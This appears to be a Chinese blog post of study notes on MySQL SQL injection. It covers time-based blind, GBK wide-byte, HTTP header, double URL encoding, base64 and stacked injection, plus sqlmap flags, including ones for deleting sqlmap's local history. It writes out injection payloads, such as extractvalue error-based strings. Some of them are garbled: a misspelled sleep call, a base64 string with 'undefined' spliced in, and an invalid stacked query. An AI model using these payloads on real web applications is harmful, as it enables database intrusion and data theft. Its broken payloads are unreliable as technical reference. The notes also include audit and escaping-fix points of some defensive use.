MYSQL其他注入

if(length(database())>1,seelp(5),1)

双字节编码

set character_set_client=gbk

连续两个字节,都符合gbk取值范围时会自动解析为一个汉字

第一个(81-FE)第二个(40-FE)

白盒审计

  看编码格式是否为GBK格式

  是否使用了preg_replace()函数

  addslashes()函数进行转义

  是否使用了mysql_real_escape_string()函数进行转义

 

mysql_query+addslashes() 函数使用会存在宽字节注入

mysql_query+real_escape_string()函数,存在宽字节注入

mysql_set_charset+addslashes()函数,存在宽字节注入

 

mysql_set_charset+mysql_real_escape_string()函数不存在宽字节注入

 

 

http头注入点

  User-Agent 、cookie、X-Forwarded-For、Client-ip、rerferer、host、等等......

  造成原因:web程序将用户提交的http请求头信息未作过滤就带入了数据库执行

 

  insert into uagents('uagent','ip_address','username') values('xxxxx','xxxxx','xxxxx')

  a' and extractvalue(1,concat(0x7e,(select version()),0x7e)) and 'a'='a

 

 

 

 

二次编码注入

  ?id=1%2527 >>传到服务器,服务器进行解码1%27 >> addslashes编码>>1%27 >> urldecode()再次解码1’

  addslashes($_GET['id']) >> urldecode($id)/rawurldecode()

  原因是两个函数顺序颠倒,应该先urldecode()/rawurldecode()>>再addslashes()

  

base_64注入,‘)闭合

admin’)and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -

编码后YWRtaWundefinedZKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpKS0tIC0=

 

 

堆叠注入

mysql+php 特殊:mysqli_multi_query支持 mysql_query不支持 

mssql+any api

oracle+any api 不支持

堆叠注入的前提是需要知道数据库的相关信息,如表名,列名.....

1';version();-- -

 

 

未完!!!

 

二次注入:在数据取出时未作过滤造成

修复进行转义,addslashes()

 

sqlmap

  -u 网址

  --dbs 查看所有数据库

  --current-db

  --is-dba 判断是否为网站管理员权限

  --roles 列出数据库角色权限

  -m 1.txt 批量

 清楚历史记录

  --purge 删除临时记录或删除sqlmap的output文件夹

  windows:c:\Users\test\AppData\Local\sqlmap

  linux:/home/test/.sqlmap  或 /root/.sqlmap

 

 

 

 

持续更新!!!1

 

posted @ 2021-09-03 22:50  PatrickStar88888888  阅读(44)  评论(0编辑  收藏  举报